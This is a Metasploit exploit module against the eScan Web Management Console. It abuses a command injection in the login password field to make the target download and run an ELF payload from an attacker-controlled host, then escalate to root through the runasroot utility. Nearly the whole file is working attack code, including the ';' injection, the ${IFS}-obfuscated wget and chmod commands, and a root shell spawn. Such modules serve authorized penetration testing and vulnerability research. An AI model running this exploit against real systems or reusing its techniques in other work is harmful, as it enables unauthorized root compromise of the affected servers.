##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Remote::HttpServer::HTML
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper

  def initialize(info={})
    super(update_info(info,
      'Name'           => "eScan Web Management Console Command Injection",
      'Description'    => %q{
        This module exploits a command injection vulnerability found in the eScan Web Management
        Console. The vulnerability exists while processing CheckPass login requests. An attacker
        with a valid username can use a malformed password to execute arbitrary commands. With
        mwconf privileges, the runasroot utility can be abused to get root privileges. This module
        has been tested successfully on eScan 5.5-2 on Ubuntu 12.04.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Joxean Koret', # Vulnerability Discovery and PoC
          'juan vazquez' # Metasploit module
        ],
      'References'     =>
        [
          [ 'URL', 'http://www.joxeankoret.com/download/breaking_av_software-pdf.tar.gz' ] # Syscan slides by Joxean
        ],
      'Payload'        =>
        {
          'BadChars'    => "", # Real bad chars when injecting: "|&)(!><'\"` ", cause of it we're avoiding ARCH_CMD
          'DisableNops' => true
        },
      'Arch'           => ARCH_X86,
      'Platform'       => 'linux',
      'Privileged'     => true,
      'Stance'         => Msf::Exploit::Stance::Aggressive,
      'Targets'        =>
        [
          ['eScan 5.5-2 / Linux', {}],
        ],
      'DisclosureDate' => '2014-04-04',
      'DefaultTarget'  => 0))

    register_options(
      [
        Opt::RPORT(10080),
        OptString.new('USERNAME', [ true, 'A valid eScan username' ]),
        OptString.new('TARGETURI', [true, 'The base path to the eScan Web Administration console', '/']),
        OptString.new('EXTURL', [ false, 'An alternative host to request the EXE payload from' ]),
        OptInt.new('HTTPDELAY', [true, 'Time that the HTTP Server will wait for the payload request', 10]),
        OptString.new('WRITABLEDIR', [ true, 'A directory where we can write files', '/tmp' ]),
        OptString.new('RUNASROOT', [ true, 'Path to the runasroot binary', '/opt/MicroWorld/sbin/runasroot' ]),
      ])
  end


  def check
    res = send_request_cgi({
      'method' => 'GET',
      'uri'    => normalize_uri(target_uri.path.to_s, 'index.php')
    })

    if res and res.code == 200 and res.body =~ /eScan WebAdmin/
      return Exploit::CheckCode::Detected
    end

    Exploit::CheckCode::Unknown
  end

  def cmd_exec(session, cmd)
    case session.type
    when /meterpreter/
      print_warning("Use a shell payload in order to get root!")
    when /shell/
      o = session.shell_command_token(cmd)
      o.chomp! if o
    end
    return "" if o.nil?
    return o
  end

  # Escalating privileges here because runasroot only can't be executed by
  # mwconf uid (196).
  def on_new_session(session)
    cmd_exec(session, "#{datastore['RUNASROOT'].shellescape} /bin/sh")
    super
  end

  def primer
    @payload_url = get_uri
    wget_payload
  end

  def on_request_uri(cli, request)
    print_status("Request: #{request.uri}")
    if request.uri =~ /#{Regexp.escape(get_resource)}/
      print_status("Sending payload...")
      send_response(cli, @pl)
    end
  end

  def autofilter
    true
  end

  def exploit
    @pl           = generate_payload_exe

    @payload_url  = ""

    if datastore['EXTURL'].blank?
      begin
        Timeout.timeout(datastore['HTTPDELAY']) {super}
      rescue Timeout::Error
      end
      exec_payload
    else
      @payload_url = datastore['EXTURL']
      wget_payload
      exec_payload
    end
  end

  # we execute in this way, instead of an ARCH_CMD
  # payload because real badchars are: |&)(!><'"`[space]
  def wget_payload
    @dropped_elf = rand_text_alpha(rand(5) + 3)
    command = "wget${IFS}#{@payload_url}${IFS}-O${IFS}#{File.join(datastore['WRITABLEDIR'], @dropped_elf)}"

    print_status("Downloading the payload to the target machine...")
    res = exec_command(command)
    if res && res.code == 302 && res.headers['Location'] && res.headers['Location'] =~ /index\.php\?err_msg=password/
      register_files_for_cleanup(File.join(datastore['WRITABLEDIR'], @dropped_elf))
    else
      fail_with(Failure::Unknown, "#{peer} - Failed to download the payload to the target")
    end
  end

  def exec_payload
    command = "chmod${IFS}777${IFS}#{File.join(datastore['WRITABLEDIR'], @dropped_elf)};"
    command << File.join(datastore['WRITABLEDIR'], @dropped_elf)

    print_status("Executing the payload...")
    exec_command(command, 1)
  end

  def exec_command(command, timeout=20)
    send_request_cgi({
      'method' => 'POST',
      'uri'    => normalize_uri(target_uri.path.to_s, 'login.php'),
      'vars_post' => {
        'uname' => datastore['USERNAME'],
        'pass' => ";#{command}",
        'product_name' => 'escan',
        'language' => 'English',
        'login' => 'Login'
      }
    }, timeout)
  end
end
